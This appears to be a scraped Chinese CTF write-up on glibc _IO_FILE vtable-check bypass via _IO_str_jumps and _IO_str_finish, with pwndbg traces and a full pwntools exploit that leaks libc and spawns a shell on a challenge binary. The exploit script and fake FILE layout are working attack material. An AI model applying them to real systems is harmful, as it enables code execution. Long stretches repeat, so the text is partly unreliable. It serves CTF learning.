文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable:
IO_validate_vtable
static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数
vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种:
__stop___IO_vtables
__start___libc_IO_vtable
_IO_str_jumps
__IO_wstr_jumps
__stop___libc_IO_vtables
__start___libc_IO_vtables
__IO_str_jumps
_IO_str_finsh
_IO_str_overflow
如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
io_str_jumps
由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示
libc.sym["_IO_str_jumps"]
_IO_str_underflow
gdb
pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. 